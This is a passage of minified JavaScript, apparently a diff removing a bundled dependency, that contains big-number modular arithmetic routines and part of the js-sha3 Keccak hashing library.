e4.div.iaddn(1); - }, A2.prototype.modrn = function(t4) { - var e4 = t4 < 0; - e4 && (t4 = -t4), r4(t4 <= 67108863); - for (var n3 = (1 << 26) % t4, A3 = 0, i3 = this.length - 1; i3 >= 0; i3--) - A3 = (n3 * A3 + (0 | this.words[i3])) % t4; - return e4 ? -A3 : A3; - }, A2.prototype.modn = function(t4) { - return this.modrn(t4); - }, A2.prototype.idivn = function(t4) { - var e4 = t4 < 0; - e4 && (t4 = -t4), r4(t4 <= 67108863); - for (var n3 = 0, A3 = this.length - 1; A3 >= 0; A3--) { - var i3 = (0 | this.words[A3]) + 67108864 * n3; - this.words[A3] = i3 / t4 | 0, n3 = i3 % t4; - } - return this._strip(), e4 ? this.ineg() : this; - }, A2.prototype.divn = function(t4) { - return this.clone().idivn(t4); - }, A2.prototype.egcd = function(t4) { - r4(0 === t4.negative), r4(!t4.isZero()); - var e4 = this, n3 = t4.clone(); - e4 = 0 !== e4.negative ? e4.umod(t4) : e4.clone(); - for (var i3 = new A2(1), o3 = new A2(0), s3 = new A2(0), a3 = new A2(1), c3 = 0; e4.isEven() && n3.isEven(); ) - e4.iushrn(1), n3.iushrn(1), ++c3; - for (var h3 = n3.clone(), g3 = e4.clone(); !e4.isZero(); ) { - for (var u3 = 0, l3 = 1; !(e4.words[0] & l3) && u3 < 26; ++u3, l3 <<= 1) - ; - if (u3 > 0) - for (e4.iushrn(u3); u3-- > 0; ) - (i3.isOdd() || o3.isOdd()) && (i3.iadd(h3), o3.isub(g3)), i3.iushrn(1), o3.iushrn(1); - for (var f3 = 0, p3 = 1; !(n3.words[0] & p3) && f3 < 26; ++f3, p3 <<= 1) - ; - if (f3 > 0) - for (n3.iushrn(f3); f3-- > 0; ) - (s3.isOdd() || a3.isOdd()) && (s3.iadd(h3), a3.isub(g3)), s3.iushrn(1), a3.iushrn(1); - e4.cmp(n3) >= 0 ? (e4.isub(n3), i3.isub(s3), o3.isub(a3)) : (n3.isub(e4), s3.isub(i3), a3.isub(o3)); - } - return { a: s3, b: a3, gcd: n3.iushln(c3) }; - }, A2.prototype._invmp = function(t4) { - r4(0 === t4.negative), r4(!t4.isZero()); - var e4 = this, n3 = t4.clone(); - e4 = 0 !== e4.negative ? e4.umod(t4) : e4.clone(); - for (var i3, o3 = new A2(1), s3 = new A2(0), a3 = n3.clone(); e4.cmpn(1) > 0 && n3.cmpn(1) > 0; ) { - for (var c3 = 0, h3 = 1; !(e4.words[0] & h3) && c3 < 26; ++c3, h3 <<= 1) - ; - if (c3 > 0) - for (e4.iushrn(c3); c3-- > 0; ) - o3.isOdd() && o3.iadd(a3), o3.iushrn(1); - for (var g3 = 0, u3 = 1; !(n3.words[0] & u3) && g3 < 26; ++g3, u3 <<= 1) - ; - if (g3 > 0) - for (n3.iushrn(g3); g3-- > 0; ) - s3.isOdd() && s3.iadd(a3), s3.iushrn(1); - e4.cmp(n3) >= 0 ? (e4.isub(n3), o3.isub(s3)) : (n3.isub(e4), s3.isub(o3)); - } - return (i3 = 0 === e4.cmpn(1) ? o3 : s3).cmpn(0) < 0 && i3.iadd(t4), i3; - }, A2.prototype.gcd = function(t4) { - if (this.isZero()) - return t4.abs(); - if (t4.isZero()) - return this.abs(); - var e4 = this.clone(), r5 = t4.clone(); - e4.negative = 0, r5.negative = 0; - for (var n3 = 0; e4.isEven() && r5.isEven(); n3++) - e4.iushrn(1), r5.iushrn(1); - for (; ; ) { - for (; e4.isEven(); ) - e4.iushrn(1); - for (; r5.isEven(); ) - r5.iushrn(1); - var A3 = e4.cmp(r5); - if (A3 < 0) { - var i3 = e4; - e4 = r5, r5 = i3; - } else if (0 === A3 || 0 === r5.cmpn(1)) - break; - e4.isub(r5); - } - return r5.iushln(n3); - }, A2.prototype.invm = function(t4) { - return this.egcd(t4).a.umod(t4); - }, A2.prototype.isEven = function() { - return !(1 & this.words[0]); - }, A2.prototype.isOdd = function() { - return !(1 & ~this.words[0]); - }, A2.prototype.andln = function(t4) { - return this.words[0] & t4; - }, A2.prototype.bincn = function(t4) { - r4("number" == typeof t4); - var e4 = t4 % 26, n3 = (t4 - e4) / 26, A3 = 1 << e4; - if (this.length <= n3) - return this._expand(n3 + 1), this.words[n3] |= A3, this; - for (var i3 = A3, o3 = n3; 0 !== i3 && o3 < this.length; o3++) { - var s3 = 0 | this.words[o3]; - i3 = (s3 += i3) >>> 26, s3 &= 67108863, this.words[o3] = s3; - } - return 0 !== i3 && (this.words[o3] = i3, this.length++), this; - }, A2.prototype.isZero = function() { - return 1 === this.length && 0 === this.words[0]; - }, A2.prototype.cmpn = function(t4) { - var e4, n3 = t4 < 0; - if (0 !== this.negative && !n3) - return -1; - if (0 === this.negative && n3) - return 1; - if (this._strip(), this.length > 1) - e4 = 1; - else { - n3 && (t4 = -t4), r4(t4 <= 67108863, "Number is too big"); - var A3 = 0 | this.words[0]; - e4 = A3 === t4 ? 0 : A3 < t4 ? -1 : 1; - } - return 0 !== this.negative ? 0 | -e4 : e4; - }, A2.prototype.cmp = function(t4) { - if (0 !== this.negative && 0 === t4.negative) - return -1; - if (0 === this.negative && 0 !== t4.negative) - return 1; - var e4 = this.ucmp(t4); - return 0 !== this.negative ? 0 | -e4 : e4; - }, A2.prototype.ucmp = function(t4) { - if (this.length > t4.length) - return 1; - if (this.length < t4.length) - return -1; - for (var e4 = 0, r5 = this.length - 1; r5 >= 0; r5--) { - var n3 = 0 | this.words[r5], A3 = 0 | t4.words[r5]; - if (n3 !== A3) { - n3 < A3 ? e4 = -1 : n3 > A3 && (e4 = 1); - break; - } - } - return e4; - }, A2.prototype.gtn = function(t4) { - return 1 === this.cmpn(t4); - }, A2.prototype.gt = function(t4) { - return 1 === this.cmp(t4); - }, A2.prototype.gten = function(t4) { - return this.cmpn(t4) >= 0; - }, A2.prototype.gte = function(t4) { - return this.cmp(t4) >= 0; - }, A2.prototype.ltn = function(t4) { - return -1 === this.cmpn(t4); - }, A2.prototype.lt = function(t4) { - return -1 === this.cmp(t4); - }, A2.prototype.lten = function(t4) { - return this.cmpn(t4) <= 0; - }, A2.prototype.lte = function(t4) { - return this.cmp(t4) <= 0; - }, A2.prototype.eqn = function(t4) { - return 0 === this.cmpn(t4); - }, A2.prototype.eq = function(t4) { - return 0 === this.cmp(t4); - }, A2.red = function(t4) { - return new v2(t4); - }, A2.prototype.toRed = function(t4) { - return r4(!this.red, "Already a number in reduction context"), r4(0 === this.negative, "red works only with positives"), t4.convertTo(this)._forceRed(t4); - }, A2.prototype.fromRed = function() { - return r4(this.red, "fromRed works only with numbers in reduction context"), this.red.convertFrom(this); - }, A2.prototype._forceRed = function(t4) { - return this.red = t4, this; - }, A2.prototype.forceRed = function(t4) { - return r4(!this.red, "Already a number in reduction context"), this._forceRed(t4); - }, A2.prototype.redAdd = function(t4) { - return r4(this.red, "redAdd works only with red numbers"), this.red.add(this, t4); - }, A2.prototype.redIAdd = function(t4) { - return r4(this.red, "redIAdd works only with red numbers"), this.red.iadd(this, t4); - }, A2.prototype.redSub = function(t4) { - return r4(this.red, "redSub works only with red numbers"), this.red.sub(this, t4); - }, A2.prototype.redISub = function(t4) { - return r4(this.red, "redISub works only with red numbers"), this.red.isub(this, t4); - }, A2.prototype.redShl = function(t4) { - return r4(this.red, "redShl works only with red numbers"), this.red.shl(this, t4); - }, A2.prototype.redMul = function(t4) { - return r4(this.red, "redMul works only with red numbers"), this.red._verify2(this, t4), this.red.mul(this, t4); - }, A2.prototype.redIMul = function(t4) { - return r4(this.red, "redMul works only with red numbers"), this.red._verify2(this, t4), this.red.imul(this, t4); - }, A2.prototype.redSqr = function() { - return r4(this.red, "redSqr works only with red numbers"), this.red._verify1(this), this.red.sqr(this); - }, A2.prototype.redISqr = function() { - return r4(this.red, "redISqr works only with red numbers"), this.red._verify1(this), this.red.isqr(this); - }, A2.prototype.redSqrt = function() { - return r4(this.red, "redSqrt works only with red numbers"), this.red._verify1(this), this.red.sqrt(this); - }, A2.prototype.redInvm = function() { - return r4(this.red, "redInvm works only with red numbers"), this.red._verify1(this), this.red.invm(this); - }, A2.prototype.redNeg = function() { - return r4(this.red, "redNeg works only with red numbers"), this.red._verify1(this), this.red.neg(this); - }, A2.prototype.redPow = function(t4) { - return r4(this.red && !t4.red, "redPow(normalNum)"), this.red._verify1(this), this.red.pow(this, t4); - }; - var y2 = { k256: null, p224: null, p192: null, p25519: null }; - function C2(t4, e4) { - this.name = t4, this.p = new A2(e4, 16), this.n = this.p.bitLength(), this.k = new A2(1).iushln(this.n).isub(this.p), this.tmp = this._tmp(); - } - function m2() { - C2.call(this, "k256", "ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff fffffffe fffffc2f"); - } - function B2() { - C2.call(this, "p224", "ffffffff ffffffff ffffffff ffffffff 00000000 00000000 00000001"); - } - function E2() { - C2.call(this, "p192", "ffffffff ffffffff ffffffff fffffffe ffffffff ffffffff"); - } - function w2() { - C2.call(this, "25519", "7fffffffffffffff ffffffffffffffff ffffffffffffffff ffffffffffffffed"); - } - function v2(t4) { - if ("string" == typeof t4) { - var e4 = A2._prime(t4); - this.m = e4.p, this.prime = e4; - } else - r4(t4.gtn(1), "modulus must be greater than 1"), this.m = t4, this.prime = null; - } - function _2(t4) { - v2.call(this, t4), this.shift = this.m.bitLength(), this.shift % 26 != 0 && (this.shift += 26 - this.shift % 26), this.r = new A2(1).iushln(this.shift), this.r2 = this.imod(this.r.sqr()), this.rinv = this.r._invmp(this.m), this.minv = this.rinv.mul(this.r).isubn(1).div(this.m), this.minv = this.minv.umod(this.r), this.minv = this.r.sub(this.minv); - } - C2.prototype._tmp = function() { - var t4 = new A2(null); - return t4.words = new Array(Math.ceil(this.n / 13)), t4; - }, C2.prototype.ireduce = function(t4) { - var e4, r5 = t4; - do { - this.split(r5, this.tmp), e4 = (r5 = (r5 = this.imulK(r5)).iadd(this.tmp)).bitLength(); - } while (e4 > this.n); - var n3 = e4 < this.n ? -1 : r5.ucmp(this.p); - return 0 === n3 ? (r5.words[0] = 0, r5.length = 1) : n3 > 0 ? r5.isub(this.p) : void 0 !== r5.strip ? r5.strip() : r5._strip(), r5; - }, C2.prototype.split = function(t4, e4) { - t4.iushrn(this.n, 0, e4); - }, C2.prototype.imulK = function(t4) { - return t4.imul(this.k); - }, n2(m2, C2), m2.prototype.split = function(t4, e4) { - for (var r5 = 4194303, n3 = Math.min(t4.length, 9), A3 = 0; A3 < n3; A3++) - e4.words[A3] = t4.words[A3]; - if (e4.length = n3, t4.length <= 9) - return t4.words[0] = 0, void (t4.length = 1); - var i3 = t4.words[9]; - for (e4.words[e4.length++] = i3 & r5, A3 = 10; A3 < t4.length; A3++) { - var o3 = 0 | t4.words[A3]; - t4.words[A3 - 10] = (o3 & r5) << 4 | i3 >>> 22, i3 = o3; - } - i3 >>>= 22, t4.words[A3 - 10] = i3, 0 === i3 && t4.length > 10 ? t4.length -= 10 : t4.length -= 9; - }, m2.prototype.imulK = function(t4) { - t4.words[t4.length] = 0, t4.words[t4.length + 1] = 0, t4.length += 2; - for (var e4 = 0, r5 = 0; r5 < t4.length; r5++) { - var n3 = 0 | t4.words[r5]; - e4 += 977 * n3, t4.words[r5] = 67108863 & e4, e4 = 64 * n3 + (e4 / 67108864 | 0); - } - return 0 === t4.words[t4.length - 1] && (t4.length--, 0 === t4.words[t4.length - 1] && t4.length--), t4; - }, n2(B2, C2), n2(E2, C2), n2(w2, C2), w2.prototype.imulK = function(t4) { - for (var e4 = 0, r5 = 0; r5 < t4.length; r5++) { - var n3 = 19 * (0 | t4.words[r5]) + e4, A3 = 67108863 & n3; - n3 >>>= 26, t4.words[r5] = A3, e4 = n3; - } - return 0 !== e4 && (t4.words[t4.length++] = e4), t4; - }, A2._prime = function(t4) { - if (y2[t4]) - return y2[t4]; - var e4; - if ("k256" === t4) - e4 = new m2(); - else if ("p224" === t4) - e4 = new B2(); - else if ("p192" === t4) - e4 = new E2(); - else { - if ("p25519" !== t4) - throw new Error("Unknown prime " + t4); - e4 = new w2(); - } - return y2[t4] = e4, e4; - }, v2.prototype._verify1 = function(t4) { - r4(0 === t4.negative, "red works only with positives"), r4(t4.red, "red works only with red numbers"); - }, v2.prototype._verify2 = function(t4, e4) { - r4(!(t4.negative | e4.negative), "red works only with positives"), r4(t4.red && t4.red === e4.red, "red works only with red numbers"); - }, v2.prototype.imod = function(t4) { - return this.prime ? this.prime.ireduce(t4)._forceRed(this) : (c2(t4, t4.umod(this.m)._forceRed(this)), t4); - }, v2.prototype.neg = function(t4) { - return t4.isZero() ? t4.clone() : this.m.sub(t4)._forceRed(this); - }, v2.prototype.add = function(t4, e4) { - this._verify2(t4, e4); - var r5 = t4.add(e4); - return r5.cmp(this.m) >= 0 && r5.isub(this.m), r5._forceRed(this); - }, v2.prototype.iadd = function(t4, e4) { - this._verify2(t4, e4); - var r5 = t4.iadd(e4); - return r5.cmp(this.m) >= 0 && r5.isub(this.m), r5; - }, v2.prototype.sub = function(t4, e4) { - this._verify2(t4, e4); - var r5 = t4.sub(e4); - return r5.cmpn(0) < 0 && r5.iadd(this.m), r5._forceRed(this); - }, v2.prototype.isub = function(t4, e4) { - this._verify2(t4, e4); - var r5 = t4.isub(e4); - return r5.cmpn(0) < 0 && r5.iadd(this.m), r5; - }, v2.prototype.shl = function(t4, e4) { - return this._verify1(t4), this.imod(t4.ushln(e4)); - }, v2.prototype.imul = function(t4, e4) { - return this._verify2(t4, e4), this.imod(t4.imul(e4)); - }, v2.prototype.mul = function(t4, e4) { - return this._verify2(t4, e4), this.imod(t4.mul(e4)); - }, v2.prototype.isqr = function(t4) { - return this.imul(t4, t4.clone()); - }, v2.prototype.sqr = function(t4) { - return this.mul(t4, t4); - }, v2.prototype.sqrt = function(t4) { - if (t4.isZero()) - return t4.clone(); - var e4 = this.m.andln(3); - if (r4(e4 % 2 == 1), 3 === e4) { - var n3 = this.m.add(new A2(1)).iushrn(2); - return this.pow(t4, n3); - } - for (var i3 = this.m.subn(1), o3 = 0; !i3.isZero() && 0 === i3.andln(1); ) - o3++, i3.iushrn(1); - r4(!i3.isZero()); - var s3 = new A2(1).toRed(this), a3 = s3.redNeg(), c3 = this.m.subn(1).iushrn(1), h3 = this.m.bitLength(); - for (h3 = new A2(2 * h3 * h3).toRed(this); 0 !== this.pow(h3, c3).cmp(a3); ) - h3.redIAdd(a3); - for (var g3 = this.pow(h3, i3), u3 = this.pow(t4, i3.addn(1).iushrn(1)), l3 = this.pow(t4, i3), f3 = o3; 0 !== l3.cmp(s3); ) { - for (var p3 = l3, d3 = 0; 0 !== p3.cmp(s3); d3++) - p3 = p3.redSqr(); - r4(d3 < f3); - var I3 = this.pow(g3, new A2(1).iushln(f3 - d3 - 1)); - u3 = u3.redMul(I3), g3 = I3.redSqr(), l3 = l3.redMul(g3), f3 = d3; - } - return u3; - }, v2.prototype.invm = function(t4) { - var e4 = t4._invmp(this.m); - return 0 !== e4.negative ? (e4.negative = 0, this.imod(e4).redNeg()) : this.imod(e4); - }, v2.prototype.pow = function(t4, e4) { - if (e4.isZero()) - return new A2(1).toRed(this); - if (0 === e4.cmpn(1)) - return t4.clone(); - var r5 = new Array(16); - r5[0] = new A2(1).toRed(this), r5[1] = t4; - for (var n3 = 2; n3 < r5.length; n3++) - r5[n3] = this.mul(r5[n3 - 1], t4); - var i3 = r5[0], o3 = 0, s3 = 0, a3 = e4.bitLength() % 26; - for (0 === a3 && (a3 = 26), n3 = e4.length - 1; n3 >= 0; n3--) { - for (var c3 = e4.words[n3], h3 = a3 - 1; h3 >= 0; h3--) { - var g3 = c3 >> h3 & 1; - i3 !== r5[0] && (i3 = this.sqr(i3)), 0 !== g3 || 0 !== o3 ? (o3 <<= 1, o3 |= g3, (4 === ++s3 || 0 === n3 && 0 === h3) && (i3 = this.mul(i3, r5[o3]), s3 = 0, o3 = 0)) : s3 = 0; - } - a3 = 26; - } - return i3; - }, v2.prototype.convertTo = function(t4) { - var e4 = t4.umod(this.m); - return e4 === t4 ? e4.clone() : e4; - }, v2.prototype.convertFrom = function(t4) { - var e4 = t4.clone(); - return e4.red = null, e4; - }, A2.mont = function(t4) { - return new _2(t4); - }, n2(_2, v2), _2.prototype.convertTo = function(t4) { - return this.imod(t4.ushln(this.shift)); - }, _2.prototype.convertFrom = function(t4) { - var e4 = this.imod(t4.mul(this.rinv)); - return e4.red = null, e4; - }, _2.prototype.imul = function(t4, e4) { - if (t4.isZero() || e4.isZero()) - return t4.words[0] = 0, t4.length = 1, t4; - var r5 = t4.imul(e4), n3 = r5.maskn(this.shift).mul(this.minv).imaskn(this.shift).mul(this.m), A3 = r5.isub(n3).iushrn(this.shift), i3 = A3; - return A3.cmp(this.m) >= 0 ? i3 = A3.isub(this.m) : A3.cmpn(0) < 0 && (i3 = A3.iadd(this.m)), i3._forceRed(this); - }, _2.prototype.mul = function(t4, e4) { - if (t4.isZero() || e4.isZero()) - return new A2(0)._forceRed(this); - var r5 = t4.mul(e4), n3 = r5.maskn(this.shift).mul(this.minv).imaskn(this.shift).mul(this.m), i3 = r5.isub(n3).iushrn(this.shift), o3 = i3; - return i3.cmp(this.m) >= 0 ? o3 = i3.isub(this.m) : i3.cmpn(0) < 0 && (o3 = i3.iadd(this.m)), o3._forceRed(this); - }, _2.prototype.invm = function(t4) { - return this.imod(t4._invmp(this.m).mul(this.r2))._forceRed(this); - }; - }(void 0 === e2 || e2, t2); - } }); - var al = rl({ "node_modules/js-sha3/src/sha3.js"(t2, e2) { - Al(), il(), function() { - var t3 = "input is invalid type", r4 = "object" == typeof window, n2 = r4 ? window : {}; - n2.JS_SHA3_NO_WINDOW && (r4 = false); - var A2 = !r4 && "object" == typeof self; - !n2.JS_SHA3_NO_NODE_JS && "object" == typeof process && process.versions && process.versions.node ? n2 = global : A2 && (n2 = self); - var i2 = !n2.JS_SHA3_NO_COMMON_JS && "object" == typeof e2 && e2.exports, o2 = "function" == typeof define && define.amd, s2 = !n2.JS_SHA3_NO_ARRAY_BUFFER && "undefined" != typeof ArrayBuffer, a2 = "0123456789abcdef".split(""), c2 = [4, 1024, 262144, 67108864], h2 = [0, 8, 16, 24], g2 = [1, 0, 32898, 0, 32906, 2147483648, 2147516416, 2147483648, 32907, 0, 2147483649, 0, 2147516545, 2147483648, 32777, 2147483648, 138, 0, 136, 0, 2147516425, 0, 2147483658, 0, 2147516555, 0, 139, 2147483648, 32905, 2147483648, 32771, 2147483648, 32770, 2147483648, 128, 2147483648, 32778, 0, 2147483658, 2147483648, 2147516545, 2147483648, 32896, 2147483648, 2147483649, 0, 2147516424, 2147483648], u2 = [224, 256, 384, 512], l2 = [128, 256], f2 = ["hex", "buffer", "arrayBuffer", "array", "digest"], p2 = { 128: 168, 256: 136 }; - !n2.JS_SHA3_NO_NODE_JS && Array.isArray || (Array.isArray = function(t4) { - return "[object Array]" === Object.prototype.toString.call(t4); - }), !s2 || !n2.JS_SHA3_NO_ARRAY_BUFFER_IS_VIEW && ArrayBuffer.isView || (ArrayBuffer.isView = function(t4) { - return "object" == typeof t4 && t4.buffer && t4.buffer.constructor === ArrayBuffer; - }); - for (var d2 = function(t4, e3, r5) { - return function(n3) { - return new N3(t4, e3, t4).update(n3)[r5](); - }; - }, I2 = function(t4, e3, r5) { - return function(n3, A3) { - return new N3(t4, e3, A3).update(n3)[r5](); - }; - }, y2 = function(t4, e3, r5) { - return function(e4, n3, A3, i3) { - return w2["cshake" + t4].update(e4, n3, A3, i3)[r5](); - }; - }, C2 = function(t4, e3, r5) { - return function(e4, n3, A3, i3) { - return w2["kmac" + t4].update(e4, n3, A3, i3)[r5](); - }; - }, m2 = function(t4, e3, r5, n3) { - for (var A3 = 0; A3 < f2.length; ++A3) { - var i3 = f2[A3]; - t4[i3] = e3(r5, n3, i3); - } - return t4; - }, B2 = function(t4, e3) { - var r5 = d2(t4, e3, "hex"); - return r5.create = function() { - return new N3(t4, e3, t4); - }, r5.update = function(t5) { - return r5.create().update(t5); - }, m2(r5, d2, t4, e3); - }, E2 = [{ name: "keccak", padding: [1, 256, 65536, 16777216], bits: u2, createMethod: B2 }, { name: "sha3", padding: [6, 1536, 393216, 100663296], bits: u2, createMethod: B2 }, { name: "shake", padding: [31, 7936, 2031616, 520093696], bits: l2, createMethod: function(t4, e3) { - var r5 = I2(t4, e3, "hex"); - return r5.create = function(r6) { - return new N3(t4, e3, r6); - }, r5.update = function(t5, e4) { - return r5.create(e4).update(t5); - }, m2(r5, I2, t4, e3); - } }, { name: "cshake", padding: c2, bits: l2, createMethod: function(t4, e3) { - var r5 = p2[t4], n3 = y2(t4, 0, "hex"); - return n3.create = function(n4, A3, i3) { - return A3 || i3 ? new N3(t4, e3, n4).bytepad([A3, i3], r5) : w2["shake" + t4].create(n4); - }, n3.update = function(t5, e4, r6, A3) { - return n3.create(e4, r6, A3).update(t5); - }, m2(n3, y2, t4, e3); - } }, { name: "kmac", padding: c2, bits: l2, createMethod: function(t4, e3) { - var r5 = p2[t4], n3 = C2(t4, 0, "hex"); - return n3.create = function(n4, A3, i3) { - return new M2(t4, e3, A3).bytepad(["KMAC", i3], r5).bytepad([n4], r5); - }, n3.update = function(t5, e4, r6, A3) { - return n3.create(t5, r6, A3).update(e4); - }, m2(n3, C2, t4, e3); - } }], w2 = {}, v2 = [], _2 = 0; _2 < E2.length; ++_2) - for (var Q2 = E2[_2], b2 = Q2.bits, k2 = 0; k2 < b2.length; ++k2) { - var D2 = Q2.name + "_" + b2[k2]; - if (v2.push(D2), w2[D2] = Q2.createMethod(b2[k2], Q2.padding), "sha3" !== Q2.name) { - var S2 = Q2.name + b2[k2]; - v2.push(S2), w2[S2] = w2[D2]; - } - } - function N3(t4, e3, r5) { - this.blocks = [], this.s = [], this.padding = e3, this.outputBits = r5, this.reset = true, this.finalized = false, this.block = 0, this.start = 0, this.blockCount = 1600 - (t4 << 1) >> 5, this.byteCount = this.blockCount << 2, this.outputBlocks = r5 >> 5, this.extraBytes = (31 & r5) >> 3; - for (var n3 = 0; n3 < 50; ++n3) - this.s[n3] = 0; - } - function M2(t4, e3, r5) { - N3.call(this, t4, e3, r5); - } - N3.prototype.update = function(e3) { - if (this.finalized) - throw new Error("finalize already called"); - var r5, n3 = typeof e3; - if ("string" !== n3) { - if ("object" !== n3) - throw new Error(t3); - if (null === e3) - throw new Error(t3); - if (s2 && e3.constructor === ArrayBuffer) - e3 = new Uint8Array(e3); - else if (!(Array.isArray(e3) || s2 && ArrayBuffer.isView(e3))) - throw new Error(t3); - r5 = true; - } - for (var A3, i3, o3 = this.blocks, a3 = this.byteCount, c3 = e3.length, g3 = this.blockCount, u3 = 0, l3 = this.s; u3 < c3; ) { - if (this.reset) - for (this.reset = false, o3[0] = this.block, A3 = 1; A3 < g3 + 1; ++A3) - o3[A3] = 0; - if (r5) - for (A3 = this.start; u3 < c3 && A3 < a3; ++u3) - o3[A3 >> 2] |= e3[u3] << h2[3 & A3++]; - else - for (A3 = this.start; u3 < c3 && A3 < a3; ++u3) - (i3 = e3.charCodeAt(u3)) < 128 ? o3[A3 >> 2] |= i3 << h2[3 & A3++] : i3 < 2048 ? (o3[A3 >> 2] |= (192 | i3 >> 6) << h2[3 & A3++], o3[A3 >> 2] |= (128 | 63 & i3) << h2[3 & A3++]) : i3 < 55296 || i3 >= 57344 ? (o3[A3 >> 2] |= (224 | i3 >> 12) << h2[3 & A3++], o3[A3 >> 2] |= (128 | i3 >> 6 & 63) << h2[3 & A3++], o3[A3 >> 2] |= (128 | 63 & i3) << h2[3 & A3++]) : (i3 = 65536 + ((1023 & i3) << 10 | 1023 & e3.charCodeAt(++u3)), o3[A3 >> 2] |= (240 | i3 >> 18) << h2[3 & A3++], o3[A3 >> 2] |= (128 | i3 >> 12 & 63) << h2[3 & A3++], o3[A3 >> 2] |= (128 | i3 >> 6 & 63) << h2[3 & A3++], o3[A3 >> 2] |= (128 | 63 & i3) << h2[3 & A3++]); - if (this.lastByteIndex = A3, A3 >= a3) { - for (this.start = A3 - a3, this.block = o3[g3], A3 = 0; A3 < g3; ++A3) - l3[A3] ^= o3[A3]; - x2(l3), this.reset = true; - } else - this.start = A3; - } - return this; - }, N3.prototype.encode = function(t4, e3) { - var r5 = 255 & t4, n3 = 1, A3 = [r5]; - for (r5 = 255 & (t4 >>= 8); r5 > 0; ) - A3.unshift(r5), r5 = 255 & (t4 >>= 8), ++n3; - return e3 ? A3.push(n3) : A3.unshift(n3), this.update(A3), A3.length; - }, N3.prototype.encodeString = function(e3) { - var r5, n3 = typeof e3; - if ("string" !== n3) { - if ("object" !== n3) - throw new Error(t3); - if (null === e3) - throw new Error(t3); - if (s2 && e3.constructor === ArrayBuffer) - e3 = new Uint8Array(e3); - else if (!(Array.isArray(e3) || s2 && ArrayBuffer.isView(e3))) - throw new Error(t3); - r5 = true; - } - var A3 = 0, i3 = e3.length; - if (r5) - A3 = i3; - else - for (var o3 = 0; o3 < e3.length; ++o3) { - var a3 = e3.charCodeAt(o3); - a3 < 128 ? A3 += 1 : a3 < 2048 ? A3 += 2 : a3 < 55296 || a3 >= 57344 ? A3 += 3 : (a3 = 65536 + ((1023 & a3) << 10 | 1023 & e3.charCodeAt(++o3)), A3 += 4); - } - return A3 += this.encode(8 * A3), this.update(e3), A3; - }, N3.prototype.bytepad = function(t4, e3) { - for (var r5 = this.encode(e3), n3 = 0; n3 < t4.length; ++n3) - r5 += this.encodeString(t4[n3]); - var A3 = e3 - r5 % e3, i3 = []; - return i3.length = A3, this.update(i3), this; - }, N3.prototype.finalize = function() { - if (!this.finalized) { - this.finalized = true; - var t4 = this.blocks, e3 = this.lastByteIndex, r5 = this.blockCount, n3 = this.s; - if (t4[e3 >> 2] |= this.padding[3 & e3], this.lastByteIndex === this.byteCount) - for (t4[0] = t4[r5], e3 = 1; e3 < r5 + 1; ++e3) - t4[e3] = 0; - for (t4[r5 - 1] |= 2147483648, e3 = 0; e3 < r5; ++e3) - n3[e3] ^= t4[e3]; - x2(n3); - } - }, N3.prototype.toString = N3.prototype.hex = function() { - this.finalize(); - for (var t4, e3 = this.blockCount, r5 = this.s, n3 = this.outputBlocks, A3 = this.extraBytes, i3 = 0, o3 = 0, s3 = ""; o3 < n3; ) { - for (i3 = 0; i3 < e3 && o3 < n3; ++i3, ++o3) - t4 = r5[i3], s3 += a2[t4 >> 4 & 15] + a2[15 & t4] + a2[t4 >> 12 & 15] + a2[t4 >> 8 & 15] + a2[t4 >> 20 & 15] + a2[t4 >> 16 & 15] + a2[t4 >> 28 & 15] + a2[t4 >> 24 & 15]; - o3 % e3 == 0 && (x2(r5), i3 = 0); - } - return A3 && (t4 = r5[i3], s3 += a2[t4 >> 4 & 15] + a2[15 & t4], A3 > 1 && (s3 += a2[t4 >> 12 & 15] + a2[t4 >> 8 & 15]), A3 > 2 && (s3 += a2[t4 >> 20 & 15] + a2[t4 >> 16 & 15])), s3; - }, N3.prototype.arrayBuffer = function() { - this.finalize(); - var t4, e3 = this.blockCount, r5 = this.s, n3 = this.outputBlocks, A3 = this.extraBytes, i3 = 0, o3 = 0, s3 = this.outputBits >> 3; - t4 = A3 ? new ArrayBuffer(n3 + 1 << 2) : new ArrayBuffer(s3); - for (var a3 = new Uint32Array(t4); o3 < n3; ) { - for (i3 = 0; i3 < e3 && o3 < n3; ++i3, ++o3) - a3[o3] = r5[i3]; - o3 % e3 == 0 && x2(r5); - } - return A3 && (a3[i3] = r5[i3], t4 = t4.slice(0, s3)), t4; - }, N3.prototype.buffer = N3.prototype.arrayBuffer, N3.prototype.digest = N3.prototype.array = function() { - this.finalize(); - for (var t4, e3, r5 = this.blockCount, n3 = this.s, A3 = this.outputBlocks, i3 = this.extraBytes, o3 = 0, s3 = 0, a3 = []; s3 < A3; ) { - for (o3 = 0; o3 < r5 && s3 < A3; ++o3, ++s3) - t4 = s3 << 2, e3 = n3[o3], a3[t4] = 255 & e3, a3[t4 + 1] = e3 >> 8 & 255, a3[t4 + 2] = e3 >> 16 & 255, a3[t4 + 3] = e3 >> 24 & 255; - s3 % r5 == 0 && x2(n3); - } - return i3 && (t4 = s3 << 2, e3 = n3[o3], a3[t4] = 255 & e3, i3 > 1 && (a3[t4 + 1] = e3 >> 8 & 255), i3 > 2 && (a3[t4 + 2] = e3 >> 16 & 255)), a3; - }, M2.prototype = new N3(), M2.prototype.finalize = function() { - return this.encode(this.outputBits, true), N3.prototype.finalize.call(this); - }; - var x2 = function(t4) { - var e3, r5, n3, A3, i3, o3, s3, a3, c3, h3, u3, l3, f3, p3, d3, I3, y3, C3, m3, B3, E3, w3, v3, _3, Q3, b3, k3, D3, S3, N4, M3, x3, F2, P2, T2, R2, U2, G2, H2, L2, O2, Y2, K2, J2, j2, z2, q2, X2, V2, W2, Z2, $2, tt2, et2, rt2, nt2, At2, it2, ot2, st2, at2, ct2, ht2; - for (n3 = 0; n3 < 48; n3 += 2) - A3 = t4[0] ^ t4[10] ^ t4[20] ^ t4[30] ^ t4[40], i3 = t4[1] ^ t4[11] ^ t4[21] ^ t4[31] ^ t4[41], o3 = t4[2] ^ t4[12] ^ t4[22] ^ t4[32] ^ t4[42], s3 = t4[3] ^ t4[13] ^ t4[23] ^ t4[33] ^ t4[43], a3 = t4[4] ^ t4[14] ^ t4[24] ^ t4[34] ^ t4[44], c3 = t4[5] ^ t4[15] ^ t4[25] ^ t4[35] ^ t4[45], h3 = t4[6] ^ t4[16] ^ t4[26] ^ t4[36] ^ t4[46], u3 = t4[7] ^ t4[17] ^ t4[27] ^ t4[37] ^ t4[47], e3 = (l3 = t4[8] ^ t4[18] ^ t4[28] ^ t4[38] ^ t4[48]) ^ (o3 << 1 | s3 >>> 31), r5 = (f3 = t4[9] ^ t4[19] ^ t4[29] ^ t4[39] 